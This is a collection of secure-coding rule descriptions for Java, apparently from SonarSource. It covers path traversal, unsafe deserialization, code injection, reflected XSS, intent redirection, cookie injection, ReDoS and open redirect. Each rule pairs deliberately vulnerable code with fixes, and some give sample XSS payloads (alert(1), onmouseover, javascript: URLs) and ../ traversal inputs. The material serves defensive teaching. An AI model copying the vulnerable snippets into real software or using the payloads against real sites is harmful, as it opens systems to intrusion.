Compliant solution

import java.io.File;

@Controller
public class ExampleController
{
    static private String targetDirectory = "/path/to/target/directory/";

    @GetMapping(value = "/exists")
    public void delete(@RequestParam("filename") String filename) throws IOException {

        File file = new File(targetDirectory + filename);
        String canonicalDestinationPath = file.getCanonicalPath();

        if (!canonicalDestinationPath.startsWith(targetDirectory)) {
            throw new IOException("Entry is outside of the target directory");
        } else if (!file.exists()) {
            throw new IOException("File does not exists in the target directory");
        }
    }
}

How does this work?

Canonical path validation

The universal way to avoid filesystem oracle vulnerabilities is to validate paths constructed from untrusted data:

1. Ensure the target directory path ends with a forward slash to prevent partial path traversal (see the "Pitfalls" section).
2. Resolve the canonical path of the file by using methods like java.io.File.getCanonicalPath. This will resolve relative paths or path components like ../ and remove any ambiguity regarding the file’s location.
3. Check that the canonical path is within the directory where the file should be located.

Important Note: The order of this process pattern is important. The code must follow this order exactly to be secure by design:

1. data = transform(user_input);
2. data = normalize(data);
3. data = sanitize(data);
4. use(data);

As pointed out in this SonarSource talk, failure to follow this exact order leads to security vulnerabilities.

Pitfalls

Partial Path Traversal

When validating untrusted paths by checking if they start with a trusted folder name, ensure the validation string contains a path separator as the last character.
A partial path traversal vulnerability can be unintentionally introduced into the application without a path separator as the last character of the validation strings.

For example, the following code is vulnerable to partial path injection. Note that the string targetDirectory does not end with a path separator:

static private String targetDirectory = "/Users/John";

@GetMapping(value = "/endpoint")
public void endpoint(@RequestParam("folder") fileName) throws IOException {

    String canonicalizedFileName = fileName.getCanonicalPath();

    if (!canonicalizedFileName.startsWith(targetDirectory)) {
        throw new IOException("Entry is outside of the target directory");
    }
}

This check can be bypassed if other directories start with John. For instance, "/Users/Johnny".startsWith("/Users/John") returns true. Thus, for validation, "/Users/John" should actually be "/Users/John/".

Warning: Some functions, such as getCanonicalPath, remove the terminating path separator in their return value.
The validation code should be tested to ensure that it cannot be impacted by this issue.

Here is a real-life example of this vulnerability.

Do not use java.nio.file.Path.resolve as a validator

As specified in the official documentation, if the given parameter is an absolute path, the base object from which the method is called is discarded and is not included in the resulting string.

This means that including untrusted data in the parameter and using the resulting string for file operations may lead to a path traversal vulnerability.

Resources

Standards

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• OWASP Top 10 2017 Category A5 - Broken Access Control
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Why is this an issue?

Deserialization injections occur when applications deserialize wholly or partially untrusted data without verification.

What is the potential impact?

In the context of a web application performing unsafe deserialization:
After detecting the injection vector, attackers inject a carefully-crafted payload into the application.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Application-specific attacks

In this scenario, the attackers succeed in injecting an object of the expected class, but with malicious properties that affect the object’s behavior.

If the application relies on the properties of the deserialized object, attackers can modify the data structure or content to escalate privileges or perform unwanted actions.
In the context of an e-commerce application, this could be changing the number of products or prices.

Full application compromise

In the worst-case scenario, the attackers succeed in injecting an object of a completely different class than expected, triggering code execution.

Depending on the attacker, code execution can be used with different intentions:

• Download the internal server’s data, most likely to sell it.
• Modify data, install malware, for instance, malware that mines cryptocurrencies.
• Stop services or exhaust resources, for instance, with fork bombs.

This threat is particularly insidious if the attacked organization does not maintain a Disaster Recovery Plan (DRP).

Root privilege escalation and pivot

In this scenario, the attacker can do everything described in the previous section. The difference is that the attacker additionally manages to elevate his privileges as an administrator and attack other servers.

Here, the impact depends on how much the target company focuses on its Defense In Depth. For example, the entire infrastructure can be compromised through a combination of unsafe deserialization and misconfiguration:

• Docker or Kubernetes clusters
• cloud services
• network firewalls and routing
• OS access control

How to fix it in Java SE

Code examples

The following code is vulnerable to deserialization attacks because it deserializes HTTP data without validating it first.

Noncompliant code example

public class RequestProcessor {
  protected void doGet(HttpServletRequest request, HttpServletResponse response) {
    ServletInputStream servletIS = request.getInputStream();
    ObjectInputStream  objectIS  = new ObjectInputStream(servletIS);
    Object input                 = objectIS.readObject();
  }
}

Compliant solution

public class SecureObjectInputStream extends ObjectInputStream {

  @Override
  protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {

    List<String> approvedClasses = new ArrayList<String>();
    approvedClasses.add(AllowedClass1.class.getName());
    approvedClasses.add(AllowedClass2.class.getName());

    if (!approvedClasses.contains(osc.getName())) {
      throw new InvalidClassException("Unauthorized deserialization", osc.getName());
    }

    return super.resolveClass(osc);
  }
}

public class RequestProcessor {
  protected void doGet(HttpServletRequest request, HttpServletResponse response) {
    ServletInputStream servletIS = request.getInputStream();
    ObjectInputStream  objectIS  = new SecureObjectInputStream(servletIS);
    Object input                 = objectIS.readObject();
  }
}

How does this work?

Allowing users to provide data for deserialization generally creates more problems than it solves.

Anything that can be done through deserialization can generally be done with more secure data structures.
Therefore, our first suggestion is to avoid deserialization in the first place.

However, if deserialization mechanisms are valid in your context, here are some security suggestions.

More secure serialization methods

Some more secure serialization methods reduce the risk of security breaches, although not definitively.

A complete object serializer is probably unnecessary if you only need to receive primitive data (for example integers, strings, bools, etc.).
In this case, formats such as JSON and XML protect the application from deserialization attacks by default.

For more complex objects, the next step is to control which class fields are exposed by creating class-specific serialization methods.
The most common method is to use Data Transfer Objects (DTO) patterns or Google Protocol Buffers (protobufs). After creating the Protobuf data structure, the Protobuf compiler creates class files that handle operations such as serializing and deserializing data.

Integrity check

Message authentication codes (MAC) can be used to prevent tampering with serialized data that is meant to be stored outside the application server:

• On the server-side, when serializing an object, compute a MAC of the result and append it to the serialized object string.
• When the serialized value is submitted back, verify the serialization string MAC on the server side before deserialization.

Depending on the situation, two MAC computation modes can be used.

If the same application will be responsible for the MAC computing and validation, a symmetric signature algorithm can be used. In that case, HMAC should be preferred, with a strong underlying hash algorithm such as SHA-256.

If multiple parties have to validate the serialized data, an asymetric signature algorithm should be used. This will reduce the chances for a signing secret to be leaked. In that case, the RSASSA-PSS algorithm can be used.

Note: Be sure to store the signing secret securely.

Pre-Approved classes

As a last resort, create a list of approved and safe classes that the application should be able to deserialize.
If the untrusted class does not match an entry in this list, it should be rejected because it is considered unsafe.

Note: Untrusted classes should be filtered out during deserialization, not after.
Depending on the language or framework, this should be possible by overriding the serialization process or using native capabilities to restrict type deserialization.

In the previous example, the pre-approved list uses class names to validate the deserialized class.

Resources

Standards

• OWASP Top 10 2021 Category A8 - Software and Data Integrity Failures
• OWASP Top 10 2017 Category A8 - Insecure Deserialization
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-502 - Deserialization of Untrusted Data

Why is this an issue?

Code injections occur when applications allow the dynamic execution of code instructions from untrusted data.
An attacker can influence the behavior of the targeted application and modify it to get access to sensitive data.

What is the potential impact?

An attacker exploiting a dynamic code injection vulnerability will be able to execute arbitrary code in the context of the vulnerable application.

The impact depends on the access control measures taken on the target system OS. In the worst-case scenario, the process that executes the code runs with root privileges, and therefore any OS commands or programs may be affected.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Denial of service and data leaks

In this scenario, the attack aims to disrupt the organization’s activities and profit from data leaks.

An attacker could, for example:

• download the internal server’s data, most likely to sell it
• modify data, send malware
• stop services or exhaust resources (with fork bombs for example)

This threat is particularly insidious if the attacked organization does not maintain a disaster recovery plan (DRP).

Root privilege escalation and pivot

In this scenario, the attacker can do everything described in the previous section. The difference is that the attacker also manages to elevate their privileges to an administrative level and attacks other servers.

Here, the impact depends on how much the target company focuses on its Defense In Depth. For example, the entire infrastructure can be compromised by a combination of code injections and misconfiguration of:

• Docker or Kubernetes clusters
• cloud services
• network firewalls and routing
• OS access control

How to fix it in Commons Compiler

Code examples

The following code is vulnerable to arbitrary code execution because it compiles and runs HTTP data.

Noncompliant code example

import org.codehaus.janino.ScriptEvaluator;

@Controller
public class ExampleController
{
    @GetMapping(value = "/")
    public void exec(@RequestParam("message") String message) throws IOException, InvocationTargetException {
        ScriptEvaluator se = new ScriptEvaluator();
        se.cook("System.out.println(\" + message \");");
        se.evaluate(null);
    }
}

Compliant solution

import org.codehaus.janino.ScriptEvaluator;

@Controller
public class ExampleController
{
    @GetMapping(value = "/")
    public void exec(@RequestParam("message") String message) throws IOException, InvocationTargetException {
        ScriptEvaluator se = new ScriptEvaluator();
        se.setParameters(new String[] { "input" }, new Class[] { String.class });
        se.cook("System.out.println(input);");
        se.evaluate(new Object[] { message });
    }
}

How does this work?

Allowing users to execute code dynamically generally creates more problems than it solves.

Anything that can be done via dynamic code execution can usually be done via a language’s native SDK and static code.
Therefore, our suggestion is to avoid executing code dynamically.
If the application requires the execution of dynamic code, additional security measures must be taken.

Dynamic parameters

When the untrusted values are only expected to be values used in standard processing, it is generally possible to provide them as parameters of the dynamic code. In that case, care should be taken to ensure that only the name of the untrusted parameter is passed to the dynamic code and not that its value is expanded into it. After that, the dynamic code will be able to safely access the untrusted parameter content and perform the processing.

The compliant code example uses such an approach.

Allow list

When the untrusted parameters are expected to contain operators, function names or other reflection-related values, best practices would encourage using an allow list. This one would contain a list of accepted safe values that can be used as part of the dynamic code.

When receiving an untrusted parameter, the application would verify its value is contained in the configured allow list. If it is present, the parameter is accepted. Otherwise, it is rejected and an error is raised.

Another similar approach is using a binding between identifiers and accepted values. That way, users are only allowed to provide identifiers, where only valid ones can be converted to a safe value.

Resources

Articles & blog posts

• SonarSource, Evil Teacher: Code Injection in Moodle

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
• SANS Top 25 - Risky Resource Management

This vulnerability makes it possible to temporarily execute JavaScript code in the context of the application, granting access to the session of the victim. This is possible because user-provided data, such as URL parameters, are copied into the HTML body of the HTTP response that is sent back to the user.

Why is this an issue?

Reflected cross-site scripting (XSS) occurs in a web application when the application retrieves data like parameters or headers from an incoming HTTP request and inserts it into its HTTP response without first sanitizing it. The most common cause is the insertion of GET parameters.

When well-intentioned users open a link to a page that is vulnerable to reflected XSS, they are exposed to attacks that target their own browser.

A user with malicious intent carefully crafts the link beforehand.

After creating this link, the attacker must use phishing techniques to ensure that his target users click on the link.

What is the potential impact?

A well-intentioned user opens a malicious link that injects data into the web application. This data can be text, but it can also be arbitrary code that can be interpreted by the target user’s browser, such as HTML, CSS, or JavaScript.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Vandalism on the front-end website

The malicious link defaces the target web application from the perspective of the user who is the victim. This may result in loss of integrity and theft of the benevolent user’s data.

Identity spoofing

The forged link injects malicious code into the web application. The code enables identity spoofing thanks to cookie theft.

Record user activity

The forged link injects malicious code into the web application. To leak confidential information, attackers can inject code that records keyboard activity (keylogger) and even requests access to other devices, such as the camera or microphone.

Chaining XSS with other vulnerabilities

In many cases, bug hunters and attackers chain cross-site scripting vulnerabilities with other vulnerabilities to maximize their impact.
For example, an XSS can be used as the first step to exploit more dangerous vulnerabilities or features that require higher privileges, such as a code injection vulnerability in the admin control panel of a web application.

How to fix it in JSP

Code examples

The following code is vulnerable to cross-site scripting because JSP does not auto-escape variables.

User input embedded in HTML code should be HTML-encoded to prevent the injection of additional code. This can be done with the OWASP Java Encoder or similar libraries.

Noncompliant code example

<%@page contentType="text/html" pageEncoding="UTF-8"%>
<%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>
<!doctype html>
<html>
 <body>
  <h1>${param.title}</h1>    <!-- Noncompliant -->
 </body>
</html>

Compliant solution

<%@page contentType="text/html" pageEncoding="UTF-8"%>
<%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>
<!doctype html>
<html>
 <body>
  <h1>${e:forHtml(param.title)}</h1>
 </body>
</html>

How does this work?

Template engines are used by web applications to build HTML content. Template files contain static HTML as well as template language instruction. These instructions allow, for example, to insert dynamic values into the document as the template is rendered.

Encode data according to the HTML context

The best approach to protect against XSS is to systematically encode data that is written to HTML documents. The goal is to leave the data intact from the end user’s point of view but make it uninterpretable by web browsers.

XSS exploitation techniques vary depending on the HTML context where malicious input is injected. For each HTML context, there is a specific encoding to prevent JavaScript code from being interpreted. The following table summarizes the encoding to apply for each HTML context.

Inbetween tags

<!doctype html>
<div>
  { data }
</div>

<!doctype html>
<div>
  <script>
    alert(1)
  </script>
</div>

HTML entity encoding: replace the following characters by HTML-safe sequences.

• & → &
• < → &lt;
• > → &gt;
• " → &quot;
• ' → &#x27;

In an attribute surrounded with single or double quotes

<!doctype html>
<div tag="{ data }">
  ...
</div>

<!doctype html>
<div tag=""
     onmouseover="alert(1)">
  ...
</div>

HTML entity encoding: replace the following characters with HTML-safe sequences.

• & → &amp;
• < → &lt;
• > → &gt;
• " → &quot;
• ' → &#x27;

In an unquoted attribute

<!doctype html>
<div tag={ data }>
  ...
</div>

<!doctype html>
<div tag=foo
     onmouseover=alert(1)>
  ...
</div>

Dangerous context: HTML output encoding will not prevent XSS fully.

In a URL attribute

<!doctype html>
<a href="{ data }">
  ...
</a>

<!doctype html>
<a href="javascript:alert(1)">
  ...
</a>

Validate the URL by parsing the data. Make sure relative URLs start with a / and that absolute URLs use https as a scheme.

In a script block

<!doctype html>
<script>
  { data }
</script>

<!doctype html>
<script>
  alert(1)
</script>

Dangerous context: HTML output encoding will not prevent XSS fully. To pass values to a JavaScript context, the recommended way is to use a data attribute:

<!doctype html>
<script data="{ data }">
  ...
</script>

org.owasp.encoder.Encode.forHtml is the recommended method to encode HTML entities.

Pitfalls

Content-types

Be aware that there are more content-types than text/html that allow to execute JavaScript code in a browser and thus are prone to cross-site scripting vulnerabilities.
The following content-types are known to be affected:

• application/mathml+xml
• application/rdf+xml
• application/vnd.wap.xhtml+xml
• application/xhtml+xml
• application/xml
• image/svg+xml
• multipart/x-mixed-replace
• text/html
• text/rdf
• text/xml
• text/xsl

The limits of validation

Validation of user inputs is a good practice to protect against various injection attacks. But for XSS, validation on its own is not the recommended approach.

As an example, filtering out user inputs based on a deny-list will never fully prevent XSS vulnerability from being exploited. This practice is sometimes used by web application firewalls. It is only a matter of time for malicious users to find the exploitation payload that will defeat the filters.

Another example is applications that allow users or third-party services to send HTML content to be used by the application. A common approach is trying to parse HTML and strip sensitive HTML tags. Again, this deny-list approach is vulnerable by design: maintaining a list of sensitive HTML tags, in the long run, is very difficult.

A preferred option is to use Markdown in conjunction with a parser that removes embedded HTML and restricts the use of "javascript:" URI.

Going the extra mile

Content Security Policy (CSP) Header

With a defense-in-depth security approach, the CSP response header can be added to instruct client browsers to block loading data that does not meet the application’s security requirements. If configured correctly, this can prevent any attempt to exploit XSS in the application.
Learn more here.

Resources

Documentation

• OWASP Cheat Sheet - XSS Prevention Cheat Sheet
• OWASP Encoder
• Spring.io, Securing a Web Application
• Thymeleaf.org, Tutorial: Using Thymeleaf

Articles & blog posts

• SonarSource, WordPress 5.8.2 Stored XSS Vulnerability
• SonarSource, Ghost CMS 4.3.2 - Cross-Origin Admin Takeover
• Samy Kamkar, The MySpace Worm

Conference presentations

• DEF CON Safe Mode Red Team Village, Ray Doyle, Weaponized XSS Moving Beyond Alert

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A7 - Cross-Site Scripting (XSS)
• MITRE, CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Why is this an issue?

Intent redirection vulnerabilities occur when an application publicly exposes a feature that uses an externally provided intent to start a new component.

In that case, an application running on the same device as the affected one can launch the exposed, vulnerable component and provide it with a specially crafted intent. Depending on the application’s configuration and logic, this intent will be used in the context of the vulnerable application, which poses a security threat.

What is the potential impact?

An affected component that forwards a malicious externally provided intent does so using the vulnerable application’s context. In particular, the new component is created with the same permissions as the application and without limitations on what feature can be reached.

Therefore, an attacker exploiting an intent redirection vulnerability could manage to access a private application’s components. Depending on the features privately exposed, this can lead to further exploitations, sensitive data disclosure, or even persistent code execution.

Information disclosure

An attacker can use the affected feature as a gateway to access other components of the vulnerable application, even if they are not exported. This includes features that handle sensitive information.

Therefore, by crafting a malicious intent and submitting it to the vulnerable redirecting component, an attacker can retrieve most data exposed by private features. This affects the confidentiality of information that is not protected by an additional security mechanism, such as an encryption algorithm.

Attack surface increase

Because the attacker can access most components of the application, they can identify and exploit other vulnerabilities that would be present in them. The actual impact depends on the nested vulnerability. Exploitation probability depends on the in-depth security level of the application.

Privilege escalation

If the vulnerable application has privileges on the underlying devices, an attacker exploiting the redirection issue might take advantage of them. For example by crafting a malicious intent action, the attacker could be able to pass phone calls on behalf of the entitled application.

This can lead to various attack scenarios depending on the exploited permissions.

Persistent code execution

A lot of applications rely on dynamic code loading to implement a variety of features, such as:

• Minor feature updates.
• Application package size reduction.
• DRM or other code protection features.

When a component exposes a dynamic code loading feature, an attacker could use it during the redirection’s exploitation to deploy malicious code into the application. The component can be located in the application itself or one of its dependencies.

Such an attack would compromise the application execution environment entirely and lead to multiple security threats. The malicious code could:

• Intercept and exfiltrate all data used in the application.
• Steal authentication credentials to third-party services.
• Change the application’s behavior to serve another malicious purpose (phishing, ransoming, etc)

Note that in most cases, the deployed malware can persist application or hosting device restarts.

How to fix it in Android

Code examples

This code is vulnerable to intent injection attacks because it starts a new activity from a user-provided intent without prior validation.

Noncompliant code example

public class Noncompliant extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        Intent intent = getIntent();
        Intent forward = (Intent) intent.getParcelableExtra("anotherintent");
        startActivity(forward); // Noncompliant
    }
}

Compliant solution

public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent intent = getIntent();
        Intent forward = (Intent) intent.getParcelableExtra("anotherintent");

        ComponentName name = forward.resolveActivity(getPackageManager());
        if (name.getPackageName().equals("safePackage") &&
                name.getClassName().equals("safeClass")) {
            startActivity(forward);
        }
    }
}

How does this work?

In general, security best practices discourage forwarding intents. However, when the application requires such a feature, it should precisely check the forwarded intents to ensure they do not pass malicious content.

Additionally, the components that are not meant to be accessed externally should be marked as non-exported in the application’s manifest. This is done by setting the android:exported attribute of the components to "false".

Checking the intent destination

Most unintended usage of the forwarding feature can be prevented by verifying whether the destination package and class names belong to a list of accepted components.

The allow-list of accepted destinations should only contain components that perform non-sensitive actions and handle non-sensitive data. Moreover, it should not allow reaching components that further redirect inner intents.

The example compliant code uses the resolveActivity method of the inner intent to determine its target component. It then uses the getPackageName and getClassName methods to validate this destination is not sensitive.

Checking the intent origin

Before forwarding the intent, the application can check its origin. Verifying the origin package is trusted prevents the forwarding feature from being used by an external component.

The getCallingActivity method of the forwarded intent can be used to determine the origin component.

Permissions downgrade

Before forwarding an intent to another component, the application can verify or remove the permissions set on the forwarded intent. In that case, even if the destination is a sensitive component, the application can ensure the untrusted intent will not be able to read or write sensitive data or locations.

In most cases, the application should drop the following permissions from untrusted intents:

• FLAG_GRANT_READ_URI_PERMISSION
• FLAG_GRANT_WRITE_URI_PERMISSION

Resources

Documentation

• support.google.com - Remediation for Intent Redirection Vulnerability developer.android.com - Intent redirection

Standards

• Mobile AppSec Verification Standard - Platform Interaction Requirements
• OWASP Mobile Top 10 2016 Category M1 - Improper Platform Usage
• MITRE, CWE-20 - Improper Input Validation

Why is this an issue?

Path injections occur when an application uses untrusted data to construct a file path and access this file without validating its path first.

A user with malicious intent would inject specially crafted values, such as ../, to change the initial intended path. The resulting path would resolve somewhere in the filesystem where the user should not normally have access to.

What is the potential impact?

A web application is vulnerable to path injection and an attacker is able to exploit it.

The files that can be affected are limited by the permission of the process that runs the application. Worst case scenario: the process runs with root privileges on Linux, and therefore any file can be affected.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Override or delete arbitrary files

The injected path component tampers with the location of a file the application is supposed to delete or write into. The vulnerability is exploited to remove or corrupt files that are critical for the application or for the system to work properly.

It could result in data being lost or the application being unavailable.

Read arbitrary files

The injected path component tampers with the location of a file the application is supposed to read and output. The vulnerability is exploited to leak the content of arbitrary files from the file system, including sensitive files like SSH private keys.

How to fix it in Java SE

Code examples

The following code is vulnerable to path injection as it creates a path using untrusted data without validation.

An attacker can exploit the vulnerability in this code to delete arbitrary files.

Noncompliant code example

@Controller
public class ExampleController
{
    static private String targetDirectory = "/path/to/target/directory/";

    @GetMapping(value = "/delete")
    public void delete(@RequestParam("filename") String filename) throws IOException {

        File file = new File(targetDirectory + filename);
        file.delete();
    }
}

Compliant solution

@Controller
public class ExampleController
{
    static private String targetDirectory = "/path/to/target/directory/";

    @GetMapping(value = "/delete")
    public void delete(@RequestParam("filename") String filename) throws IOException {

        File file = new File(targetDirectory + filename);
        String canonicalDestinationPath = file.getCanonicalPath();

        if (!canonicalDestinationPath.startsWith(targetDirectory)) {
            throw new IOException("Entry is outside of the target directory");
        }

        file.delete();
    }
}

How does this work?

Canonical path validation

If it is impossible to use secure-by-design APIs that do this automatically, the universal way to prevent path injection is to validate paths constructed from untrusted data:

1. Ensure the target directory path ends with a forward slash to prevent partial path traversal, for example, /base/dirmalicious starts with /base/dir but does not start with /base/dir/.
2. Resolve the canonical path of the file by using methods like java.io.File.getCanonicalPath. This will resolve relative path or path components like ../ and removes any ambiguity regarding the file’s location.
3. Check that the canonical path is within the directory where the file should be located.

Important Note: The order of this process pattern is important. The code must follow this order exactly to be secure by design:

1. data = transform(user_input);
2. data = normalize(data);
3. data = sanitize(data);
4. use(data);

As pointed out in this SonarSource talk, failure to follow this exact order leads to security vulnerabilities.

Pitfalls

Partial Path Traversal

When validating untrusted paths by checking if they start with a trusted folder name, ensure the validation string contains a path separator as the last character.
A partial path traversal vulnerability can be unintentionally introduced into the application without a path separator as the last character of the validation strings.

For example, the following code is vulnerable to partial path injection. Note that the string targetDirectory does not end with a path separator:

static private String targetDirectory = "/Users/John";

@GetMapping(value = "/endpoint")
public void endpoint(@RequestParam("folder") fileName) throws IOException {

    String canonicalizedFileName = fileName.getCanonicalPath();

    if (!canonicalizedFileName .startsWith(targetDirectory)) {
        throw new IOException("Entry is outside of the target directory");
    }
}

This check can be bypassed because "/Users/Johnny".startsWith("/Users/John") returns true. Thus, for validation, "/Users/John" should actually be "/Users/John/".

Warning: Some functions, such as .getCanonicalPath, remove the terminating path separator in their return value.
The validation code should be tested to ensure that it cannot be impacted by this issue.

Here is a real-life example of this vulnerability.

Do not use java.nio.file.Path.resolve as a validator

As specified in the official documentation, if the given parameter is an absolute path, the base object from which the method is called is discarded and is not included in the resulting string.

This means that including untrusted data in the parameter and using the resulting string for file operations may lead to a path traversal vulnerability.

Resources

Standards

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• OWASP Top 10 2017 Category A5 - Broken Access Control
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Why is this an issue?

Session Cookie Injection occurs when a web application assigns session cookies to users using untrusted data.

Session cookies are used by web applications to identify users. Thus, controlling these enable control over the identity of the users within the application.

The injection might occur via a GET parameter, and the payload, for example, https://example.com?cookie=injectedcookie, delivered using phishing techniques.

What is the potential impact?

A well-intentioned user opens a malicious link that injects a session cookie in their web browser. This forces the user into unknowingly browsing a session that isn’t theirs.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Sensitive data disclosure

A victim introduces sensitive data within the attacker’s application session that can later be retrieved by them. This can lead to a variety of implications depending on what type of data is disclosed. Strictly confidential user data or organizational data leakage have different impacts.

Vulnerability chaining

An attacker not only manipulates a user into browsing an application using a session cookie of their control but also successfully detects and exploits a self-XSS on the target application.
The victim browses the vulnerable page using the attacker’s session and is affected by the XSS, which can then be used for a wide range of attacks including credential stealing using mirrored login pages.

How to fix it in Java SE

Code examples

The following code is vulnerable to Session Cookie Injection as it assigns a session cookie using untrusted data.

Noncompliant code example

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
    Optional<Cookie> cookieOpt = Arrays.stream(request.getCookies())
                                    .filter(c -> c.getName().equals("jsessionid"))
                                    .findFirst();

    if (!cookieOpt.isPresent()) {
        String cookie = request.getParameter("cookie");
        Cookie cookieObj = new Cookie("jsessionid", cookie);
        response.addCookie(cookieObj);
    }

    response.sendRedirect("/welcome.jsp");
}

Compliant solution

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
    Optional<Cookie> cookieOpt = Arrays.stream(request.getCookies())
                                    .filter(c -> c.getName().equals("jsessionid"))
                                    .findFirst();

    if (!cookieOpt.isPresent()) {
        response.sendRedirect("/getCookie.jsp");
    } else {
        response.sendRedirect("/welcome.jsp");
    }
}

How does this work?

Untrusted data, such as GET or POST request content, should always be considered tainted. Therefore, an application should not blindly assign the value of a session cookie to untrusted data.

Session cookies should be generated using the built-in APIs of secure libraries that include session management instead of developing homemade tools.
Often, these existing solutions benefit from quality maintenance in terms of features, security, or hardening, and it is usually better to use these solutions than to develop your own.

Resources

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-384 - Session Fixation

Why is this an issue?

Regular expression injections occur when the application retrieves untrusted data and uses it as a regex to pattern match a string with it.

Most regular expression search engines use backtracking to try all possible regex execution paths when evaluating an input. Sometimes this can lead to performance problems also referred to as catastrophic backtracking situations.

What is the potential impact?

In the context of a web application vulnerable to regex injection:
After discovering the injection point, attackers insert data into the vulnerable field to make the affected component inaccessible.

Depending on the application’s software architecture and the injection point’s location, the impact may or may not be visible.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Self Denial of Service

In cases where the complexity of the regular expression is exponential to the input size, a small, carefully-crafted input (for example, 20 chars) can trigger catastrophic backtracking and cause a denial of service of the application.

Super-linear regex complexity can produce the same effects for a large, carefully crafted input (thousands of chars).

If the component jeopardized by this vulnerability is not a bottleneck that acts as a single point of failure (SPOF) within the application, the denial of service might only affect the attacker who initiated it.

Such benign denial of service can also occur in architectures that rely heavily on containers and container orchestrators. Replication systems would detect the failure of a container and automatically replace it.

Infrastructure SPOFs

However, a denial of service attack can be critical to the enterprise if it targets a SPOF component. Sometimes the SPOF is a software architecture vulnerability (such as a single component on which multiple critical components depend) or an operational vulnerability (for example, insufficient container creation capabilities or failures from containers to terminate).

In either case, attackers aim to exploit the infrastructure weakness by sending as many malicious payloads as possible, using potentially huge offensive infrastructures.

These threats are particularly insidious if the attacked organization does not maintain a disaster recovery plan (DRP).

How to fix it in Java SE

Code examples

The following noncompliant code is vulnerable to Regex Denial of Service because untrusted data is used as a regex to scan a string without prior sanitization or validation.

Noncompliant code example

public boolean validate(HttpServletRequest request) {
  String regex = request.getParameter("regex");
  String input = request.getParameter("input");

  return input.matches(regex);
}

Compliant solution

public boolean validate(HttpServletRequest request) {
  String regex = request.getParameter("regex");
  String input = request.getParameter("input");

  return input.matches(Pattern.quote(regex));
}

How does this work?

Sanitization and Validation

Metacharacters escape using native functions is a solution against regex injection.
The escape function sanitizes the input so that the regular expression engine interprets these characters literally.

An allowlist approach can also be used by creating a list containing authorized and secure strings you want the application to use in a query.
If a user input does not match an entry in this list, it should be considered unsafe and rejected.

Important Note: The application must sanitize and validate on the server side. Not on client-side front end.

Where possible, use non-backtracking regex engines, for example, Google’s re2.

In the example, Pattern.quote escapes metacharacters and escape sequences that could have broken the initially intended logic.

Resources

Articles & blog posts

• OWASP Regular expression Denial of Service - ReDoS

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-400 - Uncontrolled Resource Consumption
• MITRE, CWE-1333 - Inefficient Regular Expression Complexity

Why is this an issue?

Open redirection occurs when an application uses user-controllable data to redirect users to a URL.

An attacker with malicious intent could manipulate a user to browse into a specially crafted URL, such as https://trusted.example.com?url=evil.example.com, to redirect the victim to his evil domain.

Tricking users into sending the malicious HTTP request is usually the main task of exploiting an open redirection. Often, it requires an attacker to build a credible pretext to prevent suspicions from the victim.

Attackers commonly use open redirect exploits in mass phishing campaigns.

What is the potential impact?

If an attacker tricks a user into opening a link of his choice, the user is redirected to a domain controlled by the attacker.

From then on, the attacker can perform various malicious actions, some more impactful than others.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Domain Mirroring

A malicious link redirects to an attacker’s controlled website mirroring the interface of a web application trusted by the user. Due to the similarity in the application appearance and the apparently trustable clicked hyperlink, the user struggles to identify that they are browsing on a malicious domain.

Depending on the attacker’s purpose, the malicious website can leak credentials, bypass Multi-Factor Authentication (MFA), and reach any authenticated data or action.

Malware Distribution

A malicious link redirects to an attacker’s controlled website that serves malware. On the same basis as the domain mirroring exploitation, the attacker develops a spearphishing or phishing campaign with a carefully crafted pretext that would result in the download and potential execution of a hosted malicious file.
The worst-case scenario could result in complete system compromise.

How to fix it in Java SE

Code examples

The following noncompliant code example is vulnerable to open redirection as it constructs a URL with user-controllable data. This URL is then used to redirect the user without being first validated. An attacker can leverage this to manipulate users into performing unwanted redirects.

Noncompliant code example

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
  String location = req.getParameter("url");
  resp.sendRedirect(location);
}

Compliant solution

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
  String location = req.getParameter("url");

  List<String> allowedHosts = new ArrayList<String>();
  allowedHosts.add("https://trusted1.example.com/");
  allowedHosts.add("https://trusted2.example.com/");

  if (allowedHosts.contains(location))
    resp.sendRedirect(location);
}

How does this work?

